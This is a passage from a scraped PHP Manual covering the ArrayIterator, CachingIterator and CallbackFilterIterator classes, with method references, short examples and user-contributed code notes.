    echo $val.\\\'<br/>\\\';
}


Get array copy

  • « ArrayIterator::current
  • ArrayIterator::getFlags »
  • PHP Manual
  • ArrayIterator
  • Get array copy

ArrayIterator::getArrayCopy

(PHP 5 >= 5.0.0)

ArrayIterator::getArrayCopy — Get array copy

Description

public array ArrayIterator::getArrayCopy ( void )

Get a copy of an array.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

A copy of the array, or array of public properties if ArrayIterator refers to an object.

See Also

  • ArrayIterator::valid() - Check whether array contains more entries

User Contributed Notes

lenye01 at gmail dot com 11-Feb-2011 11:20
the difference of this method and the direct assign the object to a value is as follows:

<?php
$b = array('name'=>'mengzhi','age'=>'12','city'=>'shanghai');
$a = new ArrayIterator($b);
$a->append(array('home'=>'china','work'=>'developer'));
$c = $a->getArrayCopy();
var_dump($a);
var_dump($c);
?>
result:
object(ArrayIterator)#1 (1) { ["storage":"ArrayIterator":private]=> array(4) { ["name"]=> string(7) "mengzhi" ["age"]=> string(2) "12" ["city"]=> string(8) "shanghai" [0]=> array(2) { ["home"]=> string(5) "china" ["work"]=> string(9) "developer" } } }

array(4) { ["name"]=> string(7) "mengzhi" ["age"]=> string(2) "12" ["city"]=> string(8) "shanghai" [0]=> array(2) { ["home"]=> string(5) "china" ["work"]=> string(9) "developer" } }


Get flags

  • « ArrayIterator::getArrayCopy
  • ArrayIterator::key »
  • PHP Manual
  • ArrayIterator
  • Get flags

ArrayIterator::getFlags

(PHP 5 >= 5.1.0)

ArrayIterator::getFlags — Get flags

Description

public void ArrayIterator::getFlags ( void )

Get the current flags.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

The current flags.

See Also

  • ArrayIterator::valid() - Check whether array contains more entries

User Contributed Notes

There are no user contributed notes for this page.


Return current array key

  • « ArrayIterator::getFlags
  • ArrayIterator::ksort »
  • PHP Manual
  • ArrayIterator
  • Return current array key

ArrayIterator::key

(PHP 5 >= 5.0.0)

ArrayIterator::key — Return current array key

Description

public mixed ArrayIterator::key ( void )

This function returns the current array key

Parameters

This function has no parameters.

Return Values

The current array key.

Examples

Example #1 ArrayIterator::key() example

<?php
$array = array('key' => 'value');

$arrayobject = new ArrayObject($array);
$iterator = $arrayobject->getIterator();

echo $iterator->key(); //key
?>

User Contributed Notes

There are no user contributed notes for this page.


Sort array by keys

  • « ArrayIterator::key
  • ArrayIterator::natcasesort »
  • PHP Manual
  • ArrayIterator
  • Sort array by keys

ArrayIterator::ksort

(PHP 5 >= 5.2.0)

ArrayIterator::ksort — Sort array by keys

Description

public void ArrayIterator::ksort ( void )

Sorts an array by the keys.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • ArrayIterator::asort() - Sort array by values
  • ArrayIterator::natcasesort() - Sort an array naturally, case insensitive
  • ArrayIterator::natsort() - Sort an array naturally

User Contributed Notes

There are no user contributed notes for this page.


Sort an array naturally, case insensitive

  • « ArrayIterator::ksort
  • ArrayIterator::natsort »
  • PHP Manual
  • ArrayIterator
  • Sort an array naturally, case insensitive

ArrayIterator::natcasesort

(PHP 5 >= 5.2.0)

ArrayIterator::natcasesort — Sort an array naturally, case insensitive

Description

public void ArrayIterator::natcasesort ( void )

Sort the entries by values using a case insensitive "natural order" algorithm.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • ArrayIterator::asort() - Sort array by values
  • ArrayIterator::ksort() - Sort array by keys
  • ArrayIterator::natsort() - Sort an array naturally
  • natcasesort() - Sort an array using a case insensitive "natural order" algorithm

User Contributed Notes

There are no user contributed notes for this page.


Sort an array naturally

  • « ArrayIterator::natcasesort
  • ArrayIterator::next »
  • PHP Manual
  • ArrayIterator
  • Sort an array naturally

ArrayIterator::natsort

(PHP 5 >= 5.2.0)

ArrayIterator::natsort — Sort an array naturally

Description

public void ArrayIterator::natsort ( void )

Sort the entries by values using "natural order" algorithm.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • ArrayIterator::asort() - Sort array by values
  • ArrayIterator::ksort() - Sort array by keys
  • ArrayIterator::natcasesort() - Sort an array naturally, case insensitive
  • natsort() - Sort an array using a "natural order" algorithm

User Contributed Notes

There are no user contributed notes for this page.


Move to next entry

  • « ArrayIterator::natsort
  • ArrayIterator::offsetExists »
  • PHP Manual
  • ArrayIterator
  • Move to next entry

ArrayIterator::next

(PHP 5 >= 5.0.0)

ArrayIterator::next — Move to next entry

Description

public void ArrayIterator::next ( void )

The iterator to the next entry.

Parameters

This function has no parameters.

Return Values

No value is returned.

Examples

Example #1 ArrayIterator::next() example

<?php
$arrayobject = new ArrayObject();

$arrayobject[] = 'zero';
$arrayobject[] = 'one';

$iterator = $arrayobject->getIterator();

while($iterator->valid()) {
    echo $iterator->key() . ' => ' . $iterator->current() . "\n";

    $iterator->next();
}
?>

The above example will output:

0 => zero
1 => one

User Contributed Notes

onelsonsenna at gmail dot com 06-Oct-2011 08:09
If you use exchangeArray method of ArrayObject and then next method of ArrayIterator like this:

<?php

    $fruits = array("apple", "grape", "lemon");

    $colors = array("blue", "yellow", "green");

    $arrayObject = new ArrayObject($fruits);

    $arrayIterator = $arrayObject->getIterator();

    while($arrayIterator->valid()) {

        if ($arrayIterator->current() == "grape") {
            $arrayObject->exchangeArray($colors);
        }

        $arrayIterator->next();
    }

?>

You will receive:

PHP Notice:  ArrayIterator::next(): Array was modified outside object and internal position is no longer valid

So be careful with next and prev operations. :)


Check if offset exists

  • « ArrayIterator::next
  • ArrayIterator::offsetGet »
  • PHP Manual
  • ArrayIterator
  • Check if offset exists

ArrayIterator::offsetExists

(PHP 5 >= 5.0.0)

ArrayIterator::offsetExists — Check if offset exists

Description

public void ArrayIterator::offsetExists ( string $index )

Checks if the offset exists.

Warning

This function is currently not documented; only its argument list is available.

Parameters

index

The offset being checked.

Return Values

TRUE if the offset exists, otherwise FALSE

See Also

  • ArrayIterator::valid() - Check whether array contains more entries

User Contributed Notes

There are no user contributed notes for this page.


Get value for an offset

  • « ArrayIterator::offsetExists
  • ArrayIterator::offsetSet »
  • PHP Manual
  • ArrayIterator
  • Get value for an offset

ArrayIterator::offsetGet

(PHP 5 >= 5.0.0)

ArrayIterator::offsetGet — Get value for an offset

Description

public mixed ArrayIterator::offsetGet ( string $index )

Gets the value from the provided offset.

Warning

This function is currently not documented; only its argument list is available.

Parameters

index

The offset to get the value from.

Return Values

The value at offset index.

See Also

  • ArrayIterator::offsetSet() - Set value for an offset
  • ArrayIterator::offsetUnset() - Unset value for an offset

User Contributed Notes

There are no user contributed notes for this page.


Set value for an offset

  • « ArrayIterator::offsetGet
  • ArrayIterator::offsetUnset »
  • PHP Manual
  • ArrayIterator
  • Set value for an offset

ArrayIterator::offsetSet

(PHP 5 >= 5.0.0)

ArrayIterator::offsetSet — Set value for an offset

Description

public void ArrayIterator::offsetSet ( string $index , string $newval )

Sets a value for a given offset.

Warning

This function is currently not documented; only its argument list is available.

Parameters

index

The index to set for.

newval

The new value to store at the index.

Return Values

No value is returned.

See Also

  • ArrayIterator::offsetGet() - Get value for an offset
  • ArrayIterator::offsetUnset() - Unset value for an offset

User Contributed Notes

shiranai7 at NOSPAM dot hotmail dot NOSPAM dot com 05-Dec-2011 09:52
The $index argument seems to be NULL for append operations, e.g.:

<?php

// example extension class
class Test extends ArrayIterator
{
    public function offsetSet($index, $newval)
    {
        echo 'Test::offsetSet('.var_export($index, true).', '.var_export($newval, true).")\n";
    }
}

// test
$i = new Test;
$i[] = 'append a value';

?>

The result is:

Test::offsetSet(NULL, 'append a value')


Unset value for an offset

  • « ArrayIterator::offsetSet
  • ArrayIterator::rewind »
  • PHP Manual
  • ArrayIterator
  • Unset value for an offset

ArrayIterator::offsetUnset

(PHP 5 >= 5.0.0)

ArrayIterator::offsetUnset — Unset value for an offset

Description

public void ArrayIterator::offsetUnset ( string $index )

Unsets a value for an offset.

Warning

This function is currently not documented; only its argument list is available.

Parameters

index

The offset to unset.

Return Values

No value is returned.

See Also

  • ArrayIterator::offsetGet() - Get value for an offset
  • ArrayIterator::offsetSet() - Set value for an offset

User Contributed Notes

rkos... 14-Feb-2014 06:11
This is my solution for problem with offsetUnset
<?php

$a = new ArrayObject( range( 0,9 ) );
$b = new ArrayIterator( $a );

for ( $b->rewind(); $b->valid();  )
{
    echo "#{$b->key()} - {$b->current()} - <br>\r\n";
    if($b->key()==0 || $b->key()==1){
        $b->offsetUnset( $b->key() );
    }else {
        $b->next();
    }
}

var_dump($b);
?>
olav at fwt dot no 07-Jul-2011 01:12
When unsetting elements as you go it will not remove the second index of the Array being worked on. Im not sure exactly why but there is some speculations that when calling unsetOffset(); it resets the pointer aswell.

<?php

$a = new ArrayObject( range( 0,9 ) );
$b = new ArrayIterator( $a );

for ( $b->rewind(); $b->valid(); $b->next() )
{
    echo "#{$b->key()} - {$b->current()} - \r\n";
    $b->offsetUnset( $b->key() );
}

?>

To avoid this bug you can call offsetUnset in the for loop

<?php
/*** ... ***/
for ( $b->rewind(); $b->valid(); $b->offsetUnset( $b->key() ) )
{
/*** ... ***/
?>

Or unset it directly in the ArrayObject
<?php
/*** ... ***/
    $a->offsetUnset( $b->key() );
/*** ... ***/
?>

which will produce correct results
Adil Baig @ AIdezigns 24-Jun-2011 08:23
Make sure you use this function to unset a value. You can't access this iterator's values as an array. Ex:

<?php
$iterator = new \RecursiveIteratorIterator(new \RecursiveArrayIterator($arr));

foreach($iterator as $key => $value)
{
    unset($iterator[$key]);
}
?>

Will return :

PHP Fatal error:  Cannot use object of type RecursiveIteratorIterator as array

offsetUnset works properly even when removing items from nested arrays.


Rewind array back to the start

  • « ArrayIterator::offsetUnset
  • ArrayIterator::seek »
  • PHP Manual
  • ArrayIterator
  • Rewind array back to the start

ArrayIterator::rewind

(PHP 5 >= 5.0.0)

ArrayIterator::rewind — Rewind array back to the start

Description

public void ArrayIterator::rewind ( void )

This rewinds the iterator to the beginning.

Parameters

This function has no parameters.

Return Values

No value is returned.

Examples

Example #1 ArrayIterator::rewind() example

<?php
$arrayobject = new ArrayObject();

$arrayobject[] = 'zero';
$arrayobject[] = 'one';
$arrayobject[] = 'two';

$iterator = $arrayobject->getIterator();

$iterator->next();
echo $iterator->key(); //1

$iterator->rewind(); //rewinding to the begining
echo $iterator->key(); //0
?>

User Contributed Notes

There are no user contributed notes for this page.


Seek to position

  • « ArrayIterator::rewind
  • ArrayIterator::serialize »
  • PHP Manual
  • ArrayIterator
  • Seek to position

ArrayIterator::seek

(PHP 5 >= 5.0.0)

ArrayIterator::seek — Seek to position

Description

public void ArrayIterator::seek ( int $position )
Warning

This function is currently not documented; only its argument list is available.

Parameters

position

The position to seek to.

Return Values

No value is returned.

User Contributed Notes

jon at ngsthings dot com 22-Oct-2008 02:08
<?php
// didn't see any code demos...here's one from an app I'm working on

$array = array('1' => 'one',
               '2' => 'two',
               '3' => 'three');

$arrayobject = new ArrayObject($array);
$iterator = $arrayobject->getIterator();

if($iterator->valid()){
    $iterator->seek(1);            // expected: two, output: two
    echo $iterator->current();    // two
}

?>


Serialize

  • « ArrayIterator::seek
  • ArrayIterator::setFlags »
  • PHP Manual
  • ArrayIterator
  • Serialize

ArrayIterator::serialize

(PHP 5 >= 5.3.0)

ArrayIterator::serialize — Serialize

Description

public string ArrayIterator::serialize ( void )

Serialize.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

The serialized ArrayIterator.

See Also

  • ArrayIterator::unserialize() - Unserialize

User Contributed Notes

There are no user contributed notes for this page.


Set behaviour flags

  • « ArrayIterator::serialize
  • ArrayIterator::uasort »
  • PHP Manual
  • ArrayIterator
  • Set behaviour flags

ArrayIterator::setFlags

(PHP 5 >= 5.1.0)

ArrayIterator::setFlags — Set behaviour flags

Description

public void ArrayIterator::setFlags ( string $flags )

Sets behaviour flags.

Warning

This function is currently not documented; only its argument list is available.

Parameters

flags

A bitmask as follows:

  • 0 = Properties of the object have their normal functionality when accessed as list (var_dump, foreach, etc.).
  • 1 = Array indices can be accessed as properties in read/write.

Return Values

No value is returned.

See Also

  • ArrayIterator::getFlags() - Get flags

User Contributed Notes

There are no user contributed notes for this page.


User defined sort

  • « ArrayIterator::setFlags
  • ArrayIterator::uksort »
  • PHP Manual
  • ArrayIterator
  • User defined sort

ArrayIterator::uasort

(PHP 5 >= 5.2.0)

ArrayIterator::uasort — User defined sort

Description

public void ArrayIterator::uasort ( string $cmp_function )

Sort the entries by values using user defined function.

Warning

This function is currently not documented; only its argument list is available.

Parameters

cmp_function

The compare function used for the sort.

Return Values

No value is returned.

See Also

  • ArrayIterator::uksort() - User defined sort
  • usort() - Sort an array by values using a user-defined comparison function

User Contributed Notes

There are no user contributed notes for this page.


User defined sort

  • « ArrayIterator::uasort
  • ArrayIterator::unserialize »
  • PHP Manual
  • ArrayIterator
  • User defined sort

ArrayIterator::uksort

(PHP 5 >= 5.2.0)

ArrayIterator::uksort — User defined sort

Description

public void ArrayIterator::uksort ( string $cmp_function )

Sort the entries by key using user defined function.

Warning

This function is currently not documented; only its argument list is available.

Parameters

cmp_function

The compare function used for the sort.

Return Values

No value is returned.

See Also

  • ArrayIterator::uasort() - User defined sort
  • uksort() - Sort an array by keys using a user-defined comparison function

User Contributed Notes

There are no user contributed notes for this page.


Unserialize

  • « ArrayIterator::uksort
  • ArrayIterator::valid »
  • PHP Manual
  • ArrayIterator
  • Unserialize

ArrayIterator::unserialize

(PHP 5 >= 5.3.0)

ArrayIterator::unserialize — Unserialize

Description

public string ArrayIterator::unserialize ( string $serialized )

Unserialize.

Warning

This function is currently not documented; only its argument list is available.

Parameters

serialized

The serialized ArrayIterator object to be unserialized.

Return Values

The ArrayIterator.

See Also

  • ArrayIterator::serialize() - Serialize

User Contributed Notes

There are no user contributed notes for this page.


Check whether array contains more entries

  • « ArrayIterator::unserialize
  • CachingIterator »
  • PHP Manual
  • ArrayIterator
  • Check whether array contains more entries

ArrayIterator::valid

(PHP 5 >= 5.0.0)

ArrayIterator::valid — Check whether array contains more entries

Description

public bool ArrayIterator::valid ( void )

Checks if the array contains any more entries.

Parameters

This function has no parameters.

Return Values

No value is returned.

Examples

Example #1 ArrayIterator::valid() example

<?php
$array = array('1' => 'one');

$arrayobject = new ArrayObject($array);
$iterator = $arrayobject->getIterator();

var_dump($iterator->valid()); //bool(true)

$iterator->next(); // advance to the next item

//bool(false) because there is only one array element
var_dump($iterator->valid());
?>

User Contributed Notes

There are no user contributed notes for this page.


The CachingIterator class

(PHP 5)

Introduction

This object supports cached iteration over another iterator.

Class synopsis

CachingIterator extends IteratorIterator implements OuterIterator , ArrayAccess , Countable {
/* Constants */
const integer CALL_TOSTRING = 1 ;
const integer CATCH_GET_CHILD = 16 ;
const integer TOSTRING_USE_KEY = 2 ;
const integer TOSTRING_USE_CURRENT = 4 ;
const integer TOSTRING_USE_INNER = 8 ;
const integer FULL_CACHE = 256 ;
/* Methods */
public __construct ( Iterator $iterator [, string $flags = self::CALL_TOSTRING ] )
public int count ( void )
public void current ( void )
public array getCache ( void )
public void getFlags ( void )
public Iterator getInnerIterator ( void )
public void hasNext ( void )
public scalar key ( void )
public void next ( void )
public void offsetExists ( string $index )
public void offsetGet ( string $index )
public void offsetSet ( string $index , string $newval )
public void offsetUnset ( string $index )
public void rewind ( void )
public void setFlags ( bitmask $flags )
public void __toString ( void )
public void valid ( void )
}

Predefined Constants

CachingIterator::CALL_TOSTRING

Convert every element to string.

CachingIterator::CATCH_GET_CHILD

Don't throw exception in accessing children.

CachingIterator::TOSTRING_USE_KEY

Use key for conversion to string.

CachingIterator::TOSTRING_USE_CURRENT

Use current for conversion to string.

CachingIterator::TOSTRING_USE_INNER

Use inner for conversion to string.

CachingIterator::FULL_CACHE

Cache all read data.

Table of Contents

  • CachingIterator::__construct — Construct a new CachingIterator object for the iterator.
  • CachingIterator::count — The number of elements in the iterator
  • CachingIterator::current — Return the current element
  • CachingIterator::getCache — Retrieve the contents of the cache
  • CachingIterator::getFlags — Get flags used
  • CachingIterator::getInnerIterator — Returns the inner iterator
  • CachingIterator::hasNext — Check whether the inner iterator has a valid next element
  • CachingIterator::key — Return the key for the current element
  • CachingIterator::next — Move the iterator forward
  • CachingIterator::offsetExists — The offsetExists purpose
  • CachingIterator::offsetGet — The offsetGet purpose
  • CachingIterator::offsetSet — The offsetSet purpose
  • CachingIterator::offsetUnset — The offsetUnset purpose
  • CachingIterator::rewind — Rewind the iterator
  • CachingIterator::setFlags — The setFlags purpose
  • CachingIterator::__toString — Return the string representation of the current element
  • CachingIterator::valid — Check whether the current element is valid

User Contributed Notes

lsroudi at gmail dot com 08-Apr-2014 06:28
<?php

/**
 * Description of CachingIterator
 *
 * (c) lsroudi http://lsroudi.com/ <lsroudi@gmail.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace OOPSPL\Iterator\Caching;

use OOPSPL\Iterator\ArrayIterator\ArrayIterator;

class CachingIterator {

    private $numberIterator;
    private $cachingarrayiterator;

    /**
     *
     * @param type $b
     * @param type $l
     */
    public function generateRangeNumber($b, $l)
    {
        $this->numberIterator = new ArrayIterator(range($b, $l));
    }

    /**
     *
     * @param \ArrayIterator $it
     */
    public function addIteratorToCache(\ArrayIterator $it)
    {
        $this->cachingarrayiterator = new \CachingIterator($it);
    }

    /**
     *
     * @return \ArrayIterator
     */
    public function getRangeNumberIterator()
    {
        return $this->numberIterator;
    }

    /**
     *
     * @return \CachingIterator
     */
    public function getCachingArrayIterator()
    {
        return $this->cachingarrayiterator;
    }

}
?>

in this example i show you how you can use CachingIterator to deal with the next element

<?php

/**
 * Description of CachingIteratorTest
 *
 * (c) lsroudi http://lsroudi.com/ <lsroudi@gmail.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
require 'vendor/autoload.php';

use OOPSPL\Iterator\Caching\CachingIterator;

class CachingIteratorTest extends \PHPUnit_Framework_TestCase {

    public function testArrayIterator()
    {
        $it = new CachingIterator();
        $it->generateRangeNumber(1, 3);

        $this->assertEquals(3, $it->getRangeNumberIterator()->count());

        $it->addIteratorToCache($it->getRangeNumberIterator());
        $ci = $it->getCachingArrayIterator();

        foreach ($ci as $v)
        {
            if (!$ci->hasNext()){
                $this->assertEquals(NULL, $ci->next());
            }
        }
    }

}
?>


Construct a new CachingIterator object for the iterator.

  • « CachingIterator
  • CachingIterator::count »
  • PHP Manual
  • CachingIterator
  • Construct a new CachingIterator object for the iterator.

CachingIterator::__construct

(PHP 5)

CachingIterator::__construct — Construct a new CachingIterator object for the iterator.

Description

public CachingIterator::__construct ( Iterator $iterator [, string $flags = self::CALL_TOSTRING ] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

iterator

Iterator to cache

flags

Bitmask of flags.

User Contributed Notes

There are no user contributed notes for this page.


The number of elements in the iterator

  • « CachingIterator::__construct
  • CachingIterator::current »
  • PHP Manual
  • CachingIterator
  • The number of elements in the iterator

CachingIterator::count

(PHP 5 >= 5.2.2)

CachingIterator::count — The number of elements in the iterator

Description

public int CachingIterator::count ( void )
Warning

This function is currently not documented; only its argument list is available.

May return the number of elements in the iterator.

Parameters

This function has no parameters.

Return Values

The count of the elements iterated over.

User Contributed Notes

There are no user contributed notes for this page.


Return the current element

  • « CachingIterator::count
  • CachingIterator::getCache »
  • PHP Manual
  • CachingIterator
  • Return the current element

CachingIterator::current

(PHP 5)

CachingIterator::current — Return the current element

Description

public void CachingIterator::current ( void )
Warning

This function is currently not documented; only its argument list is available.

May return the current element in the iteration.

Parameters

This function has no parameters.

Return Values

Mixed

See Also

  • Iterator::current() - Return the current element

User Contributed Notes

There are no user contributed notes for this page.


Retrieve the contents of the cache

  • « CachingIterator::current
  • CachingIterator::getFlags »
  • PHP Manual
  • CachingIterator
  • Retrieve the contents of the cache

CachingIterator::getCache

(PHP 5 >= 5.2.0)

CachingIterator::getCache — Retrieve the contents of the cache

Description

public array CachingIterator::getCache ( void )

Retrieve the contents of the cache.

Note:

The CachingIterator::FULL_CACHE flag must be being used.

Parameters

This function has no parameters.

Return Values

An array containing the cache items.

Errors/Exceptions

Throws a BadMethodCallException when the CachingIterator::FULL_CACHE flag is not being used.

Examples

Example #1 CachingIterator::getCache() example

<?php
$iterator = new ArrayIterator(array(1, 2, 3));
$cache    = new CachingIterator($iterator, CachingIterator::FULL_CACHE);

$cache->next();
$cache->next();
var_dump($cache->getCache());

$cache->next();
var_dump($cache->getCache());
?>

The above example will output:

array(2) {
  [0]=>
  int(1)
  [1]=>
  int(2)
}
array(3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

User Contributed Notes

There are no user contributed notes for this page.


Get flags used

  • « CachingIterator::getCache
  • CachingIterator::getInnerIterator »
  • PHP Manual
  • CachingIterator
  • Get flags used

CachingIterator::getFlags

(PHP 5 >= 5.2.0)

CachingIterator::getFlags — Get flags used

Description

public void CachingIterator::getFlags ( void )
Warning

This function is currently not documented; only its argument list is available.

Get the bitmask of the flags used for this CachingIterator instance.

Parameters

This function has no parameters.

Return Values

Description...

User Contributed Notes

There are no user contributed notes for this page.


Returns the inner iterator

  • « CachingIterator::getFlags
  • CachingIterator::hasNext »
  • PHP Manual
  • CachingIterator
  • Returns the inner iterator

CachingIterator::getInnerIterator

(PHP 5)

CachingIterator::getInnerIterator — Returns the inner iterator

Description

public Iterator CachingIterator::getInnerIterator ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the iterator sent to the constructor.

Parameters

This function has no parameters.

Return Values

Returns an object implementing the Iterator interface.

User Contributed Notes

There are no user contributed notes for this page.


Check whether the inner iterator has a valid next element

  • « CachingIterator::getInnerIterator
  • CachingIterator::key »
  • PHP Manual
  • CachingIterator
  • Check whether the inner iterator has a valid next element

CachingIterator::hasNext

(PHP 5)

CachingIterator::hasNext — Check whether the inner iterator has a valid next element

Description

public void CachingIterator::hasNext ( void )
Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

andresdzphp at php dot net 26-Sep-2011 10:08
CachingIterator::hasNext Example

<?php
$ait = new ArrayIterator(array('Value 1', 'Value 2', 'Value 3', 'Value 4'));
$cit = new CachingIterator($ait);

foreach ($cit as $value) {
    echo $value;
    //if has a next value, print a comma
    if ($cit->hasNext()) {
        echo ', ';
    }
}
?>

Result: Value 1, Value 2, Value 3, Value 4


Return the key for the current element

  • « CachingIterator::hasNext
  • CachingIterator::next »
  • PHP Manual
  • CachingIterator
  • Return the key for the current element

CachingIterator::key

(PHP 5)

CachingIterator::key — Return the key for the current element

Description

public scalar CachingIterator::key ( void )
Warning

This function is currently not documented; only its argument list is available.

This method may return a key for the current element.

Parameters

This function has no parameters.

User Contributed Notes

There are no user contributed notes for this page.


Move the iterator forward

  • « CachingIterator::key
  • CachingIterator::offsetExists »
  • PHP Manual
  • CachingIterator
  • Move the iterator forward

CachingIterator::next

(PHP 5)

CachingIterator::next — Move the iterator forward

Description

public void CachingIterator::next ( void )
Warning

This function is currently not documented; only its argument list is available.

Move the iterator forward.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


The offsetExists purpose

  • « CachingIterator::next
  • CachingIterator::offsetGet »
  • PHP Manual
  • CachingIterator
  • The offsetExists purpose

CachingIterator::offsetExists

(PHP 5 >= 5.2.0)

CachingIterator::offsetExists — The offsetExists purpose

Description

public void CachingIterator::offsetExists ( string $index )
Warning

This function is currently not documented; only its argument list is available.

Parameters

index

The index being checked.

Return Values

Returns TRUE if an entry referenced by the offset exists, FALSE otherwise.

User Contributed Notes

There are no user contributed notes for this page.


The offsetGet purpose

  • « CachingIterator::offsetExists
  • CachingIterator::offsetSet »
  • PHP Manual
  • CachingIterator
  • The offsetGet purpose

CachingIterator::offsetGet

(PHP 5 >= 5.2.0)

CachingIterator::offsetGet — The offsetGet purpose

Description

public void CachingIterator::offsetGet ( string $index )
Warning

This function is currently not documented; only its argument list is available.

Parameters

index

Description...

Return Values

Description...

User Contributed Notes

There are no user contributed notes for this page.


The offsetSet purpose

  • « CachingIterator::offsetGet
  • CachingIterator::offsetUnset »
  • PHP Manual
  • CachingIterator
  • The offsetSet purpose

CachingIterator::offsetSet

(PHP 5 >= 5.2.0)

CachingIterator::offsetSet — The offsetSet purpose

Description

public void CachingIterator::offsetSet ( string $index , string $newval )
Warning

This function is currently not documented; only its argument list is available.

Parameters

index

The index of the element to be set.

newval

The new value for the index.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


The offsetUnset purpose

  • « CachingIterator::offsetSet
  • CachingIterator::rewind »
  • PHP Manual
  • CachingIterator
  • The offsetUnset purpose

CachingIterator::offsetUnset

(PHP 5 >= 5.2.0)

CachingIterator::offsetUnset — The offsetUnset purpose

Description

public void CachingIterator::offsetUnset ( string $index )
Warning

This function is currently not documented; only its argument list is available.

Parameters

index

The index of the element to be unset.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Rewind the iterator

  • « CachingIterator::offsetUnset
  • CachingIterator::setFlags »
  • PHP Manual
  • CachingIterator
  • Rewind the iterator

CachingIterator::rewind

(PHP 5)

CachingIterator::rewind — Rewind the iterator

Description

public void CachingIterator::rewind ( void )
Warning

This function is currently not documented; only its argument list is available.

Rewind the iterator.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


The setFlags purpose

  • « CachingIterator::rewind
  • CachingIterator::__toString »
  • PHP Manual
  • CachingIterator
  • The setFlags purpose

CachingIterator::setFlags

(PHP 5 >= 5.2.0)

CachingIterator::setFlags — The setFlags purpose

Description

public void CachingIterator::setFlags ( bitmask $flags )
Warning

This function is currently not documented; only its argument list is available.

Set the flags for the CachingIterator object.

Parameters

flags

Bitmask of the flags to set.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Return the string representation of the current element

  • « CachingIterator::setFlags
  • CachingIterator::valid »
  • PHP Manual
  • CachingIterator
  • Return the string representation of the current element

CachingIterator::__toString

(PHP 5)

CachingIterator::__toString — Return the string representation of the current element

Description

public void CachingIterator::__toString ( void )
Warning

This function is currently not documented; only its argument list is available.

Get the string representation of the current element.

Parameters

This function has no parameters.

Return Values

The string representation of the current element.

User Contributed Notes

There are no user contributed notes for this page.


Check whether the current element is valid

  • « CachingIterator::__toString
  • CallbackFilterIterator »
  • PHP Manual
  • CachingIterator
  • Check whether the current element is valid

CachingIterator::valid

(PHP 5)

CachingIterator::valid — Check whether the current element is valid

Description

public void CachingIterator::valid ( void )
Warning

This function is currently not documented; only its argument list is available.

Check whether the current element is valid.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


The CallbackFilterIterator class

(PHP 5 >= 5.4.0)

Introduction

Class synopsis

CallbackFilterIterator extends FilterIterator implements OuterIterator {
/* Methods */
public __construct ( Iterator $iterator , callable $callback )
public string accept ( void )
/* Inherited methods */
public abstract bool FilterIterator::accept ( void )
public FilterIterator::__construct ( Iterator $iterator )
public mixed FilterIterator::current ( void )
public Iterator FilterIterator::getInnerIterator ( void )
public mixed FilterIterator::key ( void )
public void FilterIterator::next ( void )
public void FilterIterator::rewind ( void )
public bool FilterIterator::valid ( void )
}

Examples

The callback should accept up to three arguments: the current item, the current key and the iterator, respectively.

Example #1 Available callback arguments

<?php

/**
 * Callback for CallbackFilterIterator
 *
 * @param $current   Current item's value
 * @param $key       Current item's key
 * @param $iterator  Iterator being filtered
 * @return boolean   TRUE to accept the current item, FALSE otherwise
 */
function my_callback($current, $key, $iterator) {
    // Your filtering code here
}

?>

Any callable may be used; such as a string containing a function name, an array for a method, or an anonymous function.

Example #2 Callback basic examples

<?php

$dir = new FilesystemIterator(__DIR__);

// Filter large files ( > 100MB)
function is_large_file($current) {
    return $current->isFile() && $current->getSize() > 104857600;
}
$large_files = new CallbackFilterIterator($dir, 'is_large_file');

// Filter directories
$files = new CallbackFilterIterator($dir, function ($current, $key, $iterator) {
    return $current->isDir() && ! $iterator->isDot();
});

?>

Table of Contents

  • CallbackFilterIterator::accept — Calls the callback with the current value, the current key and the inner iterator as arguments
  • CallbackFilterIterator::__construct — Create a filtered iterator from another iterator

User Contributed Notes

dave1010 at gmail dot com 25-May-2012 10:29
Implementation for PHP < 5.4:

<?php
if (!class_exists('CallbackFilterIterator')) {
    class CallbackFilterIterator extends FilterIterator {
        protected $callback;

        // "Closure" type hint should be "callable" in PHP 5.4
        public function __construct(Iterator $iterator, Closure $callback = null) {
            $this->callback = $callback;
            parent::__construct($iterator);
        }

        public function accept() {
            return call_user_func(
                $this->callback,
                $this->current(),
                $this->key(),
                $this->getInnerIterator()
            );
        }
    }
}

?>


Calls the callback with the current value, the current key and the inner iterator as arguments

  • « CallbackFilterIterator
  • CallbackFilterIterator::__construct »
  • PHP Manual
  • CallbackFilterIterator
  • Calls the callback with the current value, the current key and the inner iterator as arguments

CallbackFilterIterator::accept

(PHP 5 >= 5.4.0)

CallbackFilterIterator::accept — Calls the callback with the current value, the current key and the inner iterator as arguments

Description

public string CallbackFilterIterator::accept ( void )

This method calls the callback with the current value, current key and the inner iterator.

The callback is expected to return TRUE if the current item is to be accepted, or FALSE otherwise.

Parameters

This function has no parameters.

Return Values

Returns TRUE to accept the current item, or FALSE otherwise.

See Also

  • CallbackFilterIterator Examples
  • CallbackFilterIterator::__construct() - Create a filtered iterator from another iterator

User Contributed Notes

There are no user contributed notes for this page.


Create a filtered iterator from another iterator

  • « CallbackFilterIterator::accept
  • DirectoryIterator »
